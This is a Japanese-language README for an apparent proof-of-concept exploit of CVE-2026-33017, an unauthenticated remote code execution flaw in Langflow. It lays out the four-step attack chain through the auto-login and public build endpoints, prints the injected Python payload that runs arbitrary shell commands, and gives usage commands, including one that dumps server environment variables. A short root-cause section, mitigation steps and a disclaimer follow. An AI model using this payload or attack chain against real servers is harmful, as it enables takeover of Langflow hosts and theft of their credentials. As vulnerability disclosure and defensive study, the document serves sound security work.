CVE-2026-33017 — Langflow 未認証リモートコード実行 (RCE)

概要

CVE ID: CVE-2026-33017
影響を受けるソフトウェア: Langflow 脆弱なバージョン: <= 1.8.2 修正バージョン: >= 1.9.0 深刻度: Critical
作成者: r3nsi15
日付: 2026

説明

Langflow は、任意の CustomComponent コードブロックを受け入れ、認証なしでサーバー側で実行する公開フロービルドエンドポイント（/api/v1/build_public_tmp/{flowID}/flow）を公開しています。CustomComponent ノードの code フィールドに悪意のある Python ペイロードを注入することで、未認証の攻撃者は Langflow サーバープロセスの権限で任意の OS コマンドを実行できます。

攻撃チェーンはまず /api/v1/auto_login エンドポイントを悪用します。このエンドポイントは、Langflow がデフォルトの自動ログイン設定で実行されている場合、認証情報を必要とせずにベアラートークンを発行します。次に、そのトークンを使用して一時的な公開フローを作成し、ビルドエンドポイント経由でサーバー側のコード実行をトリガーします。

影響を受けるエンドポイント

概念実証

ファイル: CVE-2026-33017_POC.py

要件

• Python 3.x
• requests ライブラリ
• 自動ログインが有効な状態で実行されている Langflow インスタンスへのネットワークアクセス

pip install requests

使用方法

python3 CVE-2026-33017_POC.py -u <target_url> -c <command> [-d]

引数

例

コード実行の確認:

python3 CVE-2026-33017_POC.py -u http://langflow.example.com -c "id"

サーバーの環境変数を取得する:

python3 CVE-2026-33017_POC.py -u http://langflow.example.com -c "env"

悪用後もフローを保持する（クリーンアップをスキップ）:

python3 CVE-2026-33017_POC.py -u http://langflow.example.com -c "whoami" -d

期待される出力

[+] Got token
[+] Created flow with id: <id>
[+] Exploit sent successfully!
[+] Flow deleted successfully!

ペイロードの内訳

本エクスプロイトは、以下の Python スニペットを CustomComponent ノードの code フィールドに注入します：

from langflow.custom import Component
from langflow.io import Output
_r = __import__('os').system(<command>)
class ExploitComponent(Component):
    display_name = "ExploitComponent"
    outputs = [Output(display_name="Result", name="output", method="run")]
    def run(self):
        return "ok"

• __import__('os').system(...) - os モジュールを動的にインポートし、攻撃者が指定したシェルコマンドをサーバー上で実行します。
• クラス定義の残りの部分は、Langflow のコンポーネントローダーをパースエラーなしで満たすために必要な有効な CustomComponent です。
• フローは PUBLIC として作成され、ビルドエンドポイントはその公開エンドポイント上で呼び出されるため、実行をトリガーするのに セッション Cookie や認証トークンは不要 です。

根本原因

Langflow の CustomComponent システムでは、フロー定義の一部として任意の Python コードを送信できます。/api/v1/build_public_tmp/{flowID}/flow エンドポイントは、このコードをサーバー側でビルドし、モジュールレベルのステートメントを含めて部分的に評価します。その際、サンドボックス化や __import__ などの Python 組み込み関数へのアクセス制限は行われません。

攻撃チェーンの概要

1. GET /api/v1/auto_login          →  Obtain Bearer token (no credentials needed)
2. POST /api/v1/flows/             →  Create a PUBLIC flow (Bearer token)
3. POST /api/v1/build_public_tmp/  →  Inject & execute malicious CustomComponent (no auth)
4. DELETE /api/v1/flows/{id}       →  Clean up (optional)

これら4つのステップはすべて、デフォルト構成の Langflow デプロイメントに対して匿名の攻撃者が実行できます。

対策

• Langflow をバージョン 1.9.0 以上にアップグレードしてください。
• インターネットに公開するデプロイメントでは自動ログインを無効化してください（LANGFLOW_AUTO_LOGIN=false）。

免責事項

この概念実証は、教育目的および許可を得たセキュリティ研究目的のみで提供されます。明示的な書面による許可なく本スクリプトをシステムに対して使用することは、違法かつ非倫理的です。著者および貢献者は、誤用について一切の責任を負いません。